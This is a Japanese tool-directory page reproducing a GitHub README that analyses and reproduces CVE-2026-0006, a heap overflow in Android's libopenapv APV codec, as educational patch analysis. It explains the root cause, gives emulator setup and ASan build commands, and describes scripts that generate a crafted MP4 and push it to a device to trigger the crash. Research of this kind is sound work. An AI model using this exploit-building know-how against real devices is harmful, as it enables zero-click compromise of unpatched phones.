Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-0006-openapv-poc — CVE-2026-0006: libopenapv (Android APV codec) のヒープバッファオーバーフロー PoC - CVSS 9.8 | Kitploit
ツール/GitHubGitHub/mobilehackinglab/cve-2026-0006-openapv-poc
Androidセキュリティ脆弱性分析コード分析エクスプロイトファジングモバイルセキュリティ学習と教育バイナリエクスプロイトラボと実践

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHubmobilehackinglab/cve-2026-0006-openapv-poc

CVE-2026-0006-openapv-poc

CVE-2026-0006: libopenapv (Android APV codec) のヒープバッファオーバーフロー PoC - CVSS 9.8

リポジトリを見る
1264ヶ月前未レビュー

CVE-2026-0006: libopenapv (Android APV コーデック) のヒープバッファオーバーフロー

Mobile Hacking Lab によるパッチ解析と再現

CVSS 9.8 Critical | 実際に悪用済み | 2026年3月パッチ適用

注記: この脆弱性は私たちが発見したものではありません。CVE-2026-0006の発見と責任ある報告のすべての功績は、元の研究者に帰属します。このリポジトリには、セキュリティコミュニティがこのバグクラスと悪用手法を理解するのに役立つよう、私たちが独立して行ったパッチ解析、再現、教育用解説が含まれています。

デモ: deploy_exploit_mp4.sh が mediaswcodec で SIGSEGV を引き起こす

概要

CVE-2026-0006 は、libopenapv におけるヒープバッファオーバーフローです。libopenapv は Samsung がオープンソース化した APV (Advanced Professional Video) コーデックであり、Android 16 に Mainline モジュールとして統合されています。

この脆弱性により、細工された MP4 ファイルを介してゼロクリックでのリモートコード実行が可能になります。Android のメディアフレームワークはサムネイルやプレビューのために動画ファイルを自動的に処理するため、ユーザーの操作は不要です。

根本原因

oapvd_info() と oapvd_decode() は、フレームの寸法を異なる PBU (Payload Byte Unit) から読み取ります。攻撃者は、小さい寸法 (16x16) を主張する AU_INFO PBU (タイプ 65) を注入し、実際の FRAME PBU は大きい寸法 (64x64) をエンコードします。フレームワークは oapvd_info() の出力に基づいてバッファを割り当て、その後 oapvd_decode() は FRAME PBU の寸法でデコード済みピクセルを書き込むため、14,848 バイトのバッファオーバーフローが発生します。

影響を受けるバージョン

  • libopenapv v0.1.11.1 から v0.1.13.0 まで
  • 2026年3月より前のセキュリティパッチレベルの Android 16 デバイス
  • Samsung Galaxy S26 Ultra および APV コーデック対応のその他のデバイス

リポジトリの内容

テスト環境のセットアップ

セキュリティパッチレベルが2026年3月より前の Android 16 エミュレータが必要です(古い Android バージョンには APV デコーダはありません)。

AVD の作成

root@kitploit:~
# Install the required system image (Android 16 / API 36, ARM64)
sdkmanager "system-images;android-36.1;google_apis;arm64-v8a"

# Create the AVD
avdmanager create avd \
  -n android16_apv \
  -k "system-images;android-36.1;google_apis;arm64-v8a" \
  -d pixel_6

# Launch the emulator
emulator -avd android16_apv -no-snapshot-load

APV デコーダの確認

root@kitploit:~
# Check that the APV codec module exists
adb shell ls -la /apex/com.android.media.swcodec/lib64/libcodec2_soft_apvdec.so

# Check security patch level (must be before 2026-03-01)
adb shell getprop ro.build.version.security_patch

セキュリティパッチが 2026-03-01 以降の場合、脆弱性は修正されており、エクスプロイトは機能しません。以前のシステムイメージまたはスナップショットを使用してください。

クイックスタート

オプション1: プリビルドのエクスプロイト MP4 を Android デバイスにデプロイ

root@kitploit:~
# Requires: adb connected to Android 16 device/emulator (pre-March 2026 patch)
./deploy_exploit_mp4.sh

これによりエクスプロイト MP4 が生成され、デバイスにプッシュされ、開封され、クラッシュ出力がキャプチャされます。最初の試行でクラッシュが発生しない場合もあります。スクリプトは最大3回まで自動的に再試行します。

オプション2: エクスプロイト MP4 のみを生成

root@kitploit:~
# Requires: valid.apv and apv-mp4/valid_ffmpeg.mp4 (both included)
python3 generate_overflow_mp4.py

オプション3: ASan PoC を ARM64 向けにクロスコンパイル

root@kitploit:~
# Requires: Android NDK r29+, libopenapv v0.1.11.3 source
NDK=$HOME/Library/Android/sdk/ndk/29.0.13599879
CC=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android31-clang
ASAN_RT=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/lib/clang/20/lib/linux/libclang_rt.asan-aarch64-android.so

# 1. Build libopenapv with ASan for ARM64
git clone https://github.com/AcademySoftwareFoundation/openapv.git
cd openapv && git checkout v0.1.11.1
mkdir build_arm64_asan && cd build_arm64_asan
cmake .. -DCMAKE_TOOLCHAIN_FILE=$NDK/build/cmake/android.toolchain.cmake \
  -DANDROID_ABI=arm64-v8a -DANDROID_PLATFORM=android-31 \
  -DCMAKE_BUILD_TYPE=Debug \
  -DCMAKE_C_FLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer"
make -j$(nproc)

# 2. Cross-compile the MP4 ASan PoC
$CC -g -O0 -fsanitize=address -fno-omit-frame-pointer \
  -I../inc -I./include \
  poc_mp4_asan.c ./lib/liboapv.a -lm -o poc_mp4_asan

# 3. Push and run on device
adb push poc_mp4_asan $ASAN_RT /data/local/tmp/
adb push apv-mp4/overflow_auinfo.mp4 /data/local/tmp/
adb shell "LD_LIBRARY_PATH=/data/local/tmp \
  ASAN_OPTIONS=detect_leaks=0 \
  /data/local/tmp/poc_mp4_asan /data/local/tmp/overflow_auinfo.mp4"

期待される ASan 出力

root@kitploit:~
==17610==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x006f770f0580
WRITE of size 2 at 0x006f770f0580 thread T0

0x006f770f0580 is located 0 bytes after 512-byte region
[0x006f770f0380,0x006f770f0580)

修正方法

  1. 即時の境界チェック (commit fb6a5eab): ssize > 4 の検証と 'aPv1' 署名チェック
  2. パラメータ検証 (v0.1.13.1): 寸法/タイルサイズ検証を行う oapv_param.c モジュール
  3. 安全なビットストリームアクセス (v0.2.0.0): ビットストリームリーダーレベルでの範囲チェック付き読み取り

参考文献

  • Android セキュリティ情報 - 2026年3月
  • libopenapv GitHub
  • RFC 9924 - APV コーデック
  • Mobile Hacking Lab - 完全な解説

クレジット

この脆弱性は、元のセキュリティ研究者によって発見され、責任を持って報告されました。 私たちはこの CVE を発見したわけではありません。発見のすべての功績は彼らに帰属します。

このリポジトリは、Mobile Hacking Lab による独立したパッチ解析と再現をまとめたものです。実際の脆弱性から学ぶことでセキュリティコミュニティの理解を深めるための教育目的で作成されました。

免責事項

この研究は、脆弱性のあるライブラリの隔離されたテストビルドに対して教育目的で実施されました。すべてのテストは、オープンソースの libopenapv プロジェクトのローカルビルドバイナリに対して行われました。本番デバイスやシステムは対象とされていません。

ツールをダウンロード
ファイル説明
generate_overflow_mp4.pyAU_INFO の寸法不一致を利用したエクスプロイト MP4 を生成
deploy_exploit_mp4.shワンショット: 生成、Android デバイスへプッシュ、開封、クラッシュ取得
poc_mp4_asan.cC2SoftApvDec デコードパスを模倣した ASan PoC
poc_android_oob_write.cガード領域オーバーフロー検出付きのスタンドアロン ARM64 PoC
valid.apv有効な 337 バイトの APV ビットストリーム (64x64, YUV422, 10-bit)
apv-mp4/valid_ffmpeg.mp4ベースライン MP4 コンテナ (ffmpeg で生成)
apv-mp4/overflow_auinfo.mp4プリビルドのエクスプロイト MP4 (1,178 バイト)